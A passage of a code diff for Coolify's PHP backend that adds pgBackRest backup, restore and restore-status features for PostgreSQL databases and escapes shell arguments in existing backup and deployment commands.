'pgbackrest_compress_type' => 'string|in:lz4,gzip,zstd,none|nullable',
|
||||
'pgbackrest_compress_level' => 'integer|min:0|max:9|nullable',
|
||||
'pgbackrest_log_level' => 'string|in:off,error,warn,info,detail,debug,trace|nullable',
|
||||
'pgbackrest_archive_mode' => 'string|in:standard,reduced,minimal|nullable',
|
||||
]);
|
||||
|
||||
if ($validator->fails()) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
|
|
@ -927,7 +998,6 @@ class DatabasesController extends Controller
|
|||
return response()->json(['message' => 'UUID is required.'], 404);
|
||||
}
|
||||
|
||||
// Validate scheduled_backup_uuid is provided
|
||||
if (! $request->scheduled_backup_uuid) {
|
||||
return response()->json(['message' => 'Scheduled backup UUID is required.'], 400);
|
||||
}
|
||||
|
|
@ -941,12 +1011,21 @@ class DatabasesController extends Controller
|
|||
|
||||
$this->authorize('update', $database);
|
||||
|
||||
// Validate pgBackRest can only be used with PostgreSQL
|
||||
if ($request->input('engine') === 'pgbackrest' && $database->type() !== 'standalone-postgresql') {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['engine' => ['pgBackRest engine is only supported for PostgreSQL databases.']],
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid field is required when save_s3 is true.']],
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($request->filled('s3_storage_uuid')) {
|
||||
$existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists();
|
||||
if (! $existsInTeam) {
|
||||
|
|
@ -977,21 +1056,11 @@ class DatabasesController extends Controller
|
|||
], 422);
|
||||
}
|
||||
|
||||
$backupData = $request->only($backupConfigFields);
|
||||
|
||||
// Convert s3_storage_uuid to s3_storage_id
|
||||
if (isset($backupData['s3_storage_uuid'])) {
|
||||
$s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first();
|
||||
if ($s3Storage) {
|
||||
$backupData['s3_storage_id'] = $s3Storage->id;
|
||||
} elseif ($request->boolean('save_s3')) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']],
|
||||
], 422);
|
||||
}
|
||||
unset($backupData['s3_storage_uuid']);
|
||||
$result = $this->buildBackupConfig($request);
|
||||
if ($result['error']) {
|
||||
return $result['error'];
|
||||
}
|
||||
$backupData = $result['data'];
|
||||
|
||||
$backupConfig->update($backupData);
|
||||
|
||||
|
|
@ -2739,4 +2808,277 @@ class DatabasesController extends Controller
|
|||
200
|
||||
);
|
||||
}
|
||||
|
||||
#[OA\Post(
|
||||
summary: 'Restore Database',
|
||||
description: 'Restore a PostgreSQL database from a PgBackRest backup.',
|
||||
path: '/databases/{uuid}/restore',
|
||||
operationId: 'restore-database',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Databases'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the database.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
format: 'uuid',
|
||||
)
|
||||
),
|
||||
],
|
||||
requestBody: new OA\RequestBody(
|
||||
required: false,
|
||||
content: new OA\JsonContent(
|
||||
type: 'object',
|
||||
properties: [
|
||||
new OA\Property(property: 'execution_uuid', type: 'string', description: 'UUID of backup execution to restore from (optional, uses latest if not specified)'),
|
||||
new OA\Property(property: 'target_time', type: 'string', description: 'ISO 8601 timestamp for point-in-time recovery (optional)'),
|
||||
]
|
||||
)
|
||||
),
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'Restore initiated',
|
||||
content: [
|
||||
new OA\MediaType(
|
||||
mediaType: 'application/json',
|
||||
schema: new OA\Schema(
|
||||
type: 'object',
|
||||
properties: [
|
||||
'message' => ['type' => 'string', 'example' => 'Database restore initiated.'],
|
||||
'restore_uuid' => ['type' => 'string', 'example' => 'abc123'],
|
||||
]
|
||||
)
|
||||
),
|
||||
]
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 400,
|
||||
ref: '#/components/responses/400',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function restore_database(Request $request)
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$uuid = $request->route('uuid');
|
||||
if (! $uuid) {
|
||||
return response()->json(['message' => 'UUID is required.'], 400);
|
||||
}
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'execution_uuid' => 'string|uuid|nullable',
|
||||
'target_time' => 'date|nullable',
|
||||
]);
|
||||
|
||||
if ($validator->fails()) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => $validator->errors(),
|
||||
], 422);
|
||||
}
|
||||
|
||||
$database = queryDatabaseByUuidWithinTeam($uuid, $teamId);
|
||||
if (! $database) {
|
||||
return response()->json(['message' => 'Database not found.'], 404);
|
||||
}
|
||||
|
||||
if (! $database instanceof StandalonePostgresql) {
|
||||
return response()->json(['message' => 'PgBackRest restore is only available for PostgreSQL databases.'], 400);
|
||||
}
|
||||
|
||||
$this->authorize('manage', $database);
|
||||
|
||||
if (! $database->hasPgBackrestBackups()) {
|
||||
return response()->json(['message' => 'No PgBackRest backup configuration found for this database.'], 400);
|
||||
}
|
||||
|
||||
$execution = null;
|
||||
if ($request->filled('execution_uuid')) {
|
||||
$execution = ScheduledDatabaseBackupExecution::where('uuid', $request->execution_uuid)
|
||||
->whereHas('scheduledDatabaseBackup', function ($query) use ($database) {
|
||||
$query->where('database_id', $database->id)
|
||||
->where('database_type', $database->getMorphClass())
|
||||
->where('engine', 'pgbackrest');
|
||||
})
|
||||
->where('status', 'success')
|
||||
->first();
|
||||
|
||||
if (! $execution) {
|
||||
return response()->json(['message' => 'Backup execution not found or not a successful PgBackRest backup.'], 404);
|
||||
}
|
||||
}
|
||||
|
||||
$targetTime = null;
|
||||
if ($request->filled('target_time')) {
|
||||
$targetTime = \Carbon\Carbon::parse($request->input('target_time'))->toIso8601String();
|
||||
}
|
||||
|
||||
$restore = PgBackrestRestore::run($database, $execution, $targetTime);
|
||||
|
||||
return response()->json([
|
||||
'message' => 'Database restore initiated.',
|
||||
'restore_uuid' => $restore->uuid,
|
||||
], 200);
|
||||
}
|
||||
|
||||
#[OA\Get(
|
||||
summary: 'List Restores',
|
||||
description: 'List all restore operations for a database.',
|
||||
path: '/databases/{uuid}/restores',
|
||||
operationId: 'list-database-restores',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Databases'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the database.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
format: 'uuid',
|
||||
)
|
||||
),
|
||||
],
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'List of restores',
|
||||
content: new OA\JsonContent(type: 'array', items: new OA\Items(type: 'object'))
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function list_restores(Request $request)
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$uuid = $request->route('uuid');
|
||||
if (! $uuid) {
|
||||
return response()->json(['message' => 'UUID is required.'], 400);
|
||||
}
|
||||
|
||||
$database = queryDatabaseByUuidWithinTeam($uuid, $teamId);
|
||||
if (! $database) {
|
||||
return response()->json(['message' => 'Database not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('view', $database);
|
||||
|
||||
$restores = DatabaseRestore::where('database_id', $database->id)
|
||||
->where('database_type', $database->getMorphClass())
|
||||
->orderBy('created_at', 'desc')
|
||||
->get();
|
||||
|
||||
return response()->json($restores);
|
||||
}
|
||||
|
||||
#[OA\Get(
|
||||
summary: 'Restore Status',
|
||||
description: 'Get the status of a restore operation.',
|
||||
path: '/databases/{uuid}/restores/{restore_uuid}',
|
||||
operationId: 'get-restore-status',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Databases'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the database.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
format: 'uuid',
|
||||
)
|
||||
),
|
||||
new OA\Parameter(
|
||||
name: 'restore_uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the restore operation.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
)
|
||||
),
|
||||
],
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'Restore status',
|
||||
content: new OA\JsonContent(type: 'object')
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function restore_status(Request $request)
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$uuid = $request->route('uuid');
|
||||
$restoreUuid = $request->route('restore_uuid');
|
||||
|
||||
if (! $uuid || ! $restoreUuid) {
|
||||
return response()->json(['message' => 'UUID and restore_uuid are required.'], 400);
|
||||
}
|
||||
|
||||
$database = queryDatabaseByUuidWithinTeam($uuid, $teamId);
|
||||
if (! $database) {
|
||||
return response()->json(['message' => 'Database not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('view', $database);
|
||||
|
||||
$restore = DatabaseRestore::where('uuid', $restoreUuid)
|
||||
->where('database_id', $database->id)
|
||||
->where('database_type', $database->getMorphClass())
|
||||
->first();
|
||||
|
||||
if (! $restore) {
|
||||
return response()->json(['message' => 'Restore not found.'], 404);
|
||||
}
|
||||
|
||||
return response()->json($restore);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -2196,7 +2196,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$this->create_workdir();
|
||||
$this->execute_remote_command(
|
||||
[
|
||||
executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 {$this->commit} --pretty=%B"),
|
||||
executeInDocker($this->deployment_uuid, "cd {$this->workdir} && git log -1 ".escapeshellarg($this->commit)." --pretty=%B"),
|
||||
'hidden' => true,
|
||||
'save' => 'commit_message',
|
||||
]
|
||||
|
|
@ -2904,7 +2904,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
|
|||
private function build_image()
|
||||
{
|
||||
// Add Coolify related variables to the build args/secrets
|
||||
if (! $this->dockerBuildkitSupported) {
|
||||
if (! $this->dockerSecretsSupported) {
|
||||
// Traditional build args approach - generate COOLIFY_ variables locally
|
||||
$coolify_envs = $this->generate_coolify_env_variables(forBuildTime: true);
|
||||
$coolify_envs->each(function ($value, $key) {
|
||||
|
|
@ -3515,8 +3515,8 @@ COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
|
|||
|
||||
private function add_build_env_variables_to_dockerfile()
|
||||
{
|
||||
if ($this->dockerBuildkitSupported) {
|
||||
// We dont need to add build secrets to dockerfile for buildkit, as we already added them with --secret flag in function generate_docker_env_flags_for_secrets
|
||||
if ($this->dockerSecretsSupported) {
|
||||
// We dont need to add ARG declarations when using Docker build secrets, as variables are passed with --secret flag
|
||||
return;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -6,12 +6,13 @@ use App\Events\ProxyStatusChangedUI;
|
|||
use App\Models\Server;
|
||||
use App\Notifications\Server\TraefikVersionOutdated;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class CheckTraefikVersionForServerJob implements ShouldQueue
|
||||
class CheckTraefikVersionForServerJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -5,12 +5,13 @@ namespace App\Jobs;
|
|||
use App\Enums\ProxyTypes;
|
||||
use App\Models\Server;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
|
||||
class CheckTraefikVersionJob implements ShouldQueue
|
||||
class CheckTraefikVersionJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
|
|
|
|||
|
|
@ -16,6 +16,7 @@ use App\Models\Team;
|
|||
use App\Notifications\Database\BackupFailed;
|
||||
use App\Notifications\Database\BackupSuccess;
|
||||
use App\Notifications\Database\BackupSuccessWithS3Warning;
|
||||
use App\Services\Backup\PgBackrestService;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
|
|
@ -25,6 +26,7 @@ use Illuminate\Queue\InteractsWithQueue;
|
|||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Str;
|
||||
use RuntimeException;
|
||||
use Throwable;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
|
|
@ -119,6 +121,13 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
|
|||
|
||||
return;
|
||||
}
|
||||
|
||||
if ($this->backup->isPgBackrest() && $this->database instanceof StandalonePostgresql) {
|
||||
$this->run_pgbackrest_backup();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
if (data_get($this->backup, 'database_type') === \App\Models\ServiceDatabase::class) {
|
||||
$databaseType = $this->database->databaseType();
|
||||
$serviceUuid = $this->database->service->uuid;
|
||||
|
|
@ -296,16 +305,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$this->backup_dir = backup_dir().'/coolify'."/coolify-db-$ip";
|
||||
}
|
||||
foreach ($databasesToBackup as $database) {
|
||||
// Generate unique UUID for each database backup execution
|
||||
$attempts = 0;
|
||||
do {
|
||||
$this->backup_log_uuid = (string) new Cuid2;
|
||||
$exists = ScheduledDatabaseBackupExecution::where('uuid', $this->backup_log_uuid)->exists();
|
||||
$attempts++;
|
||||
if ($attempts >= 3 && $exists) {
|
||||
throw new \Exception('Unable to generate unique UUID for backup execution after 3 attempts');
|
||||
}
|
||||
} while ($exists);
|
||||
$this->backup_log_uuid = (string) new Cuid2;
|
||||
|
||||
$size = 0;
|
||||
$localBackupSucceeded = false;
|
||||
|
|
@ -642,31 +642,38 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
|
|||
}
|
||||
|
||||
$fullImageName = $this->getFullImageName();
|
||||
$escapedNetwork = escapeshellarg($network);
|
||||
$escapedContainerName = escapeshellarg("backup-of-{$this->backup_log_uuid}");
|
||||
$escapedImageName = escapeshellarg($fullImageName);
|
||||
|
||||
$containerExists = instant_remote_process(["docker ps -a -q -f name=backup-of-{$this->backup_log_uuid}"], $this->server, false, false, null, disableMultiplexing: true);
|
||||
if (filled($containerExists)) {
|
||||
instant_remote_process(["docker rm -f backup-of-{$this->backup_log_uuid}"], $this->server, false, false, null, disableMultiplexing: true);
|
||||
instant_remote_process(["docker rm -f {$escapedContainerName}"], $this->server, false, false, null, disableMultiplexing: true);
|
||||
}
|
||||
|
||||
if (isDev()) {
|
||||
if ($this->database->name === 'coolify-db') {
|
||||
$backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/coolify/coolify-db-'.$this->server->ip.$this->backup_file;
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}";
|
||||
$escapedVolumeMount = escapeshellarg($backup_location_from.':'.$this->backup_location.':ro');
|
||||
$commands[] = "docker run -d --network {$escapedNetwork} --name {$escapedContainerName} --rm -v {$escapedVolumeMount} {$escapedImageName}";
|
||||
} else {
|
||||
$backup_location_from = '/var/lib/docker/volumes/coolify_dev_backups_data/_data/databases/'.str($this->team->name)->slug().'-'.$this->team->id.'/'.$this->directory_name.$this->backup_file;
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $backup_location_from:$this->backup_location:ro {$fullImageName}";
|
||||
$escapedVolumeMount = escapeshellarg($backup_location_from.':'.$this->backup_location.':ro');
|
||||
$commands[] = "docker run -d --network {$escapedNetwork} --name {$escapedContainerName} --rm -v {$escapedVolumeMount} {$escapedImageName}";
|
||||
}
|
||||
} else {
|
||||
$commands[] = "docker run -d --network {$network} --name backup-of-{$this->backup_log_uuid} --rm -v $this->backup_location:$this->backup_location:ro {$fullImageName}";
|
||||
$escapedVolumeMount = escapeshellarg($this->backup_location.':'.$this->backup_location.':ro');
|
||||
$commands[] = "docker run -d --network {$escapedNetwork} --name {$escapedContainerName} --rm -v {$escapedVolumeMount} {$escapedImageName}";
|
||||
}
|
||||
|
||||
// Escape S3 credentials to prevent command injection
|
||||
$escapedEndpoint = escapeshellarg($endpoint);
|
||||
$escapedKey = escapeshellarg($key);
|
||||
$escapedSecret = escapeshellarg($secret);
|
||||
$escapedBucketPath = escapeshellarg("temporary/{$bucket}{$this->backup_dir}/");
|
||||
$escapedBackupLocation = escapeshellarg($this->backup_location);
|
||||
|
||||
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc alias set temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
$commands[] = "docker exec backup-of-{$this->backup_log_uuid} mc cp $this->backup_location temporary/$bucket{$this->backup_dir}/";
|
||||
$commands[] = "docker exec {$escapedContainerName} mc alias set temporary {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
|
||||
$commands[] = "docker exec {$escapedContainerName} mc cp {$escapedBackupLocation} {$escapedBucketPath}";
|
||||
instant_remote_process($commands, $this->server, true, false, null, disableMultiplexing: true);
|
||||
|
||||
$this->s3_uploaded = true;
|
||||
|
|
@ -675,7 +682,8 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
|
|||
$this->add_to_error_output($e->getMessage());
|
||||
throw $e;
|
||||
} finally {
|
||||
$command = "docker rm -f backup-of-{$this->backup_log_uuid}";
|
||||
$escapedContainerNameForCleanup = escapeshellarg("backup-of-{$this->backup_log_uuid}");
|
||||
$command = "docker rm -f {$escapedContainerNameForCleanup}";
|
||||
instant_remote_process([$command], $this->server, true, false, null, disableMultiplexing: true);
|
||||
}
|
||||
}
|
||||
|
|
@ -688,6 +696,161 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue
|
|||
return "{$helperImage}:{$latestVersion}";
|
||||
}
|
||||
|
||||
private function run_pgbackrest_backup(): void
|
||||
{
|
||||
$stanza = PgBackrestService::getStanzaName($this->database);
|
||||
$backupType = $this->backup->pgbackrest_backup_type ?: 'full';
|
||||
$this->container_name = $this->database->uuid;
|
||||
|
||||
$this->backup_log_uuid = (string) new Cuid2;
|
||||
|
||||
$this->backup_log = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => $this->backup_log_uuid,
|
||||
'database_name' => $this->database->postgres_db,
|
||||
'scheduled_database_backup_id' => $this->backup->id,
|
||||
'status' => 'running',
|
||||
'engine' => 'pgbackrest',
|
||||
'pgbackrest_backup_type' => $backupType,
|
||||
'pgbackrest_stanza' => $stanza,
|
||||
]);
|
||||
|
||||
try {
|
||||
$this->update_pgbackrest_config();
|
||||
|
||||
$backupCmd = PgBackrestService::buildBackupCommand($stanza, $backupType, 'info');
|
||||
$backupCmdWithWait = PgBackrestService::wrapWithLockWait($backupCmd);
|
||||
|
||||
$s3EnvVars = PgBackrestService::buildS3EnvVars($this->backup);
|
||||
$dockerEnvArgs = PgBackrestService::buildDockerEnvArgs($s3EnvVars);
|
||||
$fixPermsCmd = 'chown -R postgres:postgres /var/lib/pgbackrest /tmp/pgbackrest /var/log/pgbackrest 2>/dev/null || true';
|
||||
$escapedInnerCmd = str_replace("'", "'\"'\"'", $backupCmdWithWait);
|
||||
$fullScript = "{$fixPermsCmd}; su postgres -c '{$escapedInnerCmd}' 2>&1; echo \"EXIT_CODE:\$?\"";
|
||||
$escapedScript = escapeshellarg($fullScript);
|
||||
$containerName = escapeshellarg($this->container_name);
|
||||
$backupFullCmd = "docker exec{$dockerEnvArgs} {$containerName} sh -c {$escapedScript}";
|
||||
|
||||
$rawOutput = instant_remote_process([$backupFullCmd], $this->server, false, false, $this->timeout, disableMultiplexing: true);
|
||||
$rawOutput = trim($rawOutput) ?: '';
|
||||
|
||||
$exitCode = 0;
|
||||
if (preg_match('/EXIT_CODE:(\d+)$/', $rawOutput, $matches)) {
|
||||
$exitCode = (int) $matches[1];
|
||||
$this->backup_output = trim(preg_replace('/EXIT_CODE:\d+$/', '', $rawOutput)) ?: null;
|
||||
} else {
|
||||
$this->backup_output = $rawOutput ?: null;
|
||||
}
|
||||
|
||||
if ($exitCode !== 0) {
|
||||
$errorMessage = $this->backup_output ?: "pgBackRest backup failed with exit code {$exitCode}";
|
||||
throw new \RuntimeException($errorMessage, $exitCode);
|
||||
}
|
||||
|
||||
$infoCmd = PgBackrestService::buildInfoCommand($stanza, true);
|
||||
$escapedInfoCmd = escapeshellarg($infoCmd);
|
||||
$infoJson = instant_remote_process(
|
||||
["docker exec{$dockerEnvArgs} {$containerName} su postgres -c {$escapedInfoCmd}"],
|
||||
$this->server,
|
||||
false,
|
||||
false,
|
||||
120,
|
||||
disableMultiplexing: true
|
||||
);
|
||||
|
||||
$info = PgBackrestService::parseInfoJson($infoJson);
|
||||
$latestBackup = $info ? PgBackrestService::getLatestBackup($info) : null;
|
||||
|
||||
$label = $latestBackup['label'] ?? null;
|
||||
$type = $latestBackup ? PgBackrestService::getBackupType($latestBackup) : $backupType;
|
||||
$size = $latestBackup ? PgBackrestService::getBackupSize($latestBackup) : 0;
|
||||
|
||||
$this->run_pgbackrest_expire($stanza);
|
||||
|
||||
$this->backup_log->update([
|
||||
'status' => 'success',
|
||||
'message' => $this->backup_output,
|
||||
'size' => $size,
|
||||
'filename' => "pgbackrest:{$label}",
|
||||
'engine' => 'pgbackrest',
|
||||
'pgbackrest_backup_type' => $type,
|
||||
'pgbackrest_label' => $label,
|
||||
'pgbackrest_repo_size' => $size,
|
||||
's3_uploaded' => $this->backup->hasS3Repo() ? true : null,
|
||||
'finished_at' => Carbon::now(),
|
||||
]);
|
||||
|
||||
$this->team->notify(new BackupSuccess($this->backup, $this->database, $this->database->postgres_db));
|
||||
|
||||
} catch (Throwable $e) {
|
||||
$errorMsg = $this->backup_output ?? $e->getMessage();
|
||||
if ($this->backup_output && $e->getMessage() !== $this->backup_output) {
|
||||
$errorMsg = $this->backup_output;
|
||||
}
|
||||
|
||||
$this->backup_log->update([
|
||||
'status' => 'failed',
|
||||
'message' => $errorMsg,
|
||||
'finished_at' => Carbon::now(),
|
||||
]);
|
||||
|
||||
$this->team->notify(new BackupFailed(
|
||||
$this->backup,
|
||||
$this->database,
|
||||
$errorMsg,
|
||||
$this->database->postgres_db
|
||||
));
|
||||
|
||||
throw $e;
|
||||
} finally {
|
||||
BackupCreated::dispatch($this->team->id);
|
||||
}
|
||||
}
|
||||
|
||||
private function run_pgbackrest_expire(string $stanza): void
|
||||
{
|
||||
try {
|
||||
$repos = $this->backup->enabledPgbackrestRepos()->get();
|
||||
$s3EnvVars = PgBackrestService::buildS3EnvVars($this->backup);
|
||||
$dockerEnvArgs = PgBackrestService::buildDockerEnvArgs($s3EnvVars);
|
||||
$containerName = escapeshellarg($this->container_name);
|
||||
|
||||
foreach ($repos as $repo) {
|
||||
$expireCmd = PgBackrestService::buildExpireCommand($stanza, $repo->repo_number);
|
||||
$escapedExpireCmd = escapeshellarg($expireCmd);
|
||||
|
||||
instant_remote_process(
|
||||
["docker exec{$dockerEnvArgs} {$containerName} sh -c {$escapedExpireCmd}"],
|
||||
$this->server,
|
||||
false,
|
||||
false,
|
||||
$this->timeout,
|
||||
disableMultiplexing: true
|
||||
);
|
||||
}
|
||||
} catch (Throwable $e) {
|
||||
Log::warning('PgBackRest expire failed', [
|
||||
'stanza' => $stanza,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function update_pgbackrest_config(): void
|
||||
{
|
||||
$config = PgBackrestService::generateConfig($this->database);
|
||||
|
||||
if ($config === null) {
|
||||
throw new RuntimeException('No valid pgBackRest repository configured. Please configure at least one repository (local or S3).');
|
||||
}
|
||||
|
||||
$configBase64 = base64_encode($config);
|
||||
$configPath = PgBackrestService::CONFIG_PATH;
|
||||
$containerName = escapeshellarg($this->container_name);
|
||||
|
||||
instant_remote_process([
|
||||
"docker exec {$containerName} sh -c 'echo {$configBase64} | base64 -d > {$configPath}/pgbackrest.conf'",
|
||||
], $this->server, true, false, 60, disableMultiplexing: true);
|
||||
}
|
||||
|
||||
public function failed(?Throwable $exception): void
|
||||
{
|
||||
Log::channel('scheduled-errors')->error('DatabaseBackup permanently failed', [
|
||||
|
|
|
|||
465
app/Jobs/PgBackrestRestoreJob.php
Normal file
465
app/Jobs/PgBackrestRestoreJob.php
Normal file
|
|
@ -0,0 +1,465 @@
|
|||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Actions\Database\StartPostgresql;
|
||||
use App\Actions\Database\StopDatabase;
|
||||
use App\Models\DatabaseRestore;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Notifications\Database\DatabaseRestoreFailed;
|
||||
use App\Notifications\Database\DatabaseRestoreSuccess;
|
||||
use App\Services\Backup\PgBackrestService;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use RuntimeException;
|
||||
use Throwable;
|
||||
|
||||
class PgBackrestRestoreJob implements ShouldBeEncrypted, ShouldQueue
|
||||
{
|
||||
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
|
||||
|
||||
public $timeout = 7200;
|
||||
|
||||
public $maxExceptions = 1;
|
||||
|
||||
public function __construct(
|
||||
public StandalonePostgresql $database,
|
||||
public DatabaseRestore $restore,
|
||||
public ?ScheduledDatabaseBackupExecution $execution = null,
|
||||
public ?string $targetTime = null
|
||||
) {
|
||||
$this->onQueue('high');
|
||||
}
|
||||
|
||||
public function handle(): void
|
||||
{
|
||||
$stanza = PgBackrestService::getStanzaName($this->database);
|
||||
$backupTimestamp = time();
|
||||
|
||||
try {
|
||||
$this->restore->updateStatus('running', 'Starting PgBackRest restore.');
|
||||
|
||||
$this->preflight($stanza);
|
||||
|
||||
$this->restore->appendLog('Stopping PostgreSQL container.');
|
||||
StopDatabase::run($this->database, dockerCleanup: false);
|
||||
|
||||
$this->restore->appendLog('Backing up current PGDATA before restore.');
|
||||
$backupPath = $this->backupCurrentPgData($backupTimestamp);
|
||||
|
||||
try {
|
||||
$this->restore->appendLog('Clearing PGDATA directory.');
|
||||
$this->clearPgData();
|
||||
|
||||
$this->restore->appendLog('Restoring via PgBackRest sidecar container.');
|
||||
$this->runRestoreSidecar($stanza);
|
||||
|
||||
$this->restore->appendLog('Verifying restored database.');
|
||||
$this->verifyRestore();
|
||||
|
||||
$this->restore->appendLog('Starting PostgreSQL after restore.');
|
||||
StartPostgresql::run($this->database);
|
||||
|
||||
if ($backupPath) {
|
||||
$this->restore->appendLog('Removing backup of previous database.');
|
||||
$this->removePgDataBackup($backupPath);
|
||||
}
|
||||
|
||||
$this->restore->updateStatus('success', 'PgBackRest restore completed successfully.');
|
||||
|
||||
$team = $this->database->team();
|
||||
if ($team) {
|
||||
$team->notify(new DatabaseRestoreSuccess(
|
||||
$this->database,
|
||||
$this->restore->target_label,
|
||||
$this->targetTime
|
||||
));
|
||||
}
|
||||
} catch (Throwable $restoreError) {
|
||||
$this->restore->appendLog('Restore failed, attempting to recover from backup: '.$restoreError->getMessage());
|
||||
if ($backupPath) {
|
||||
$this->recoverFromBackup($backupPath);
|
||||
}
|
||||
